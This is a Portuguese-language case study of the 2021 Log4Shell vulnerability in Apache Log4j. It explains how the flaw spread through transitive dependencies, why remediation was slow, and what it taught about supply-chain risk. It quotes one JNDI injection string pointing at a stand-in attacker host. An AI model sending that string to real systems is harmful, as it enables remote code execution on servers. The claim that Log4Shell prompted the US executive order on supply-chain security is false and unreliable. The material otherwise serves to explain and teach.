Em dezembro de 2021, foi descoberta uma vulnerabilidade zero-day crítica (CVE-2021-44228, apelidada de 'Log4Shell') no Apache Log4j, uma biblioteca de registro em log Java onipresente, usada em milhões de aplicações e servidores no mundo todo. A vulnerabilidade permitia que um atacante executasse código arbitrário em um servidor ao enviar uma string especialmente construída — algo tão simples quanto digitar '${jndi:ldap://attacker.com}' em um campo de login.
A vulnerabilidade foi catastrófica porque o Log4j estava embutido em uma enorme variedade de softwares: aplicações corporativas, serviços de nuvem, servidores de jogos (Minecraft), dispositivos de IoT e sistemas governamentais. Muitas organizações nem sabiam que estavam executando o Log4j, porque ele era uma dependência transitiva enterrada profundamente em sua pilha de software.
A Apache Software Foundation lançou correções, mas a remediação foi lenta e complexa: as organizações tinham que identificar cada instância do Log4j em seus sistemas, corrigir cada uma e verificar a correção. A vulnerabilidade foi ativamente explorada poucas horas após a divulgação. O caso ilustrou a fragilidade da cadeia de suprimentos de software moderna: uma única vulnerabilidade em uma biblioteca de código aberto amplamente utilizada pode comprometer milhões de sistemas simultaneamente.
O bug Log4Shell no Apache Log4j deixou milhões de sistemas vulneráveis, forçando um esforço global de aplicação de correções que custou bilhões de dólares e semanas de trabalho.
O Log4j estava embutido em milhões de aplicações como dependência transitiva, muitas vezes desconhecida pelas organizações que o executavam.
A vulnerabilidade permitia execução remota de código com uma string de exploração trivialmente simples.
A remediação foi lenta porque as organizações tinham que encontrar e corrigir cada instância do Log4j em sua pilha.
A vulnerabilidade foi ativamente explorada poucas horas após a divulgação pública.
A lição
A pilha de software moderna é uma torre de dependências, e a maioria das organizações não sabe o que há na sua. O Log4j estava em toda parte. A questão não é 'somos afetados?', mas 'conseguimos descobrir primeiro?'
A Apache lançou correções e a CVE recebeu uma pontuação de severidade 10.0. O caso levou o governo dos Estados Unidos a emitir uma ordem executiva sobre segurança da cadeia de suprimentos de software e acelerou a adoção de listas de materiais de software (SBOMs). O Log4j continua sendo uma referência para risco de cadeia de suprimentos.
CONFIRA AS EVIDÊNCIAS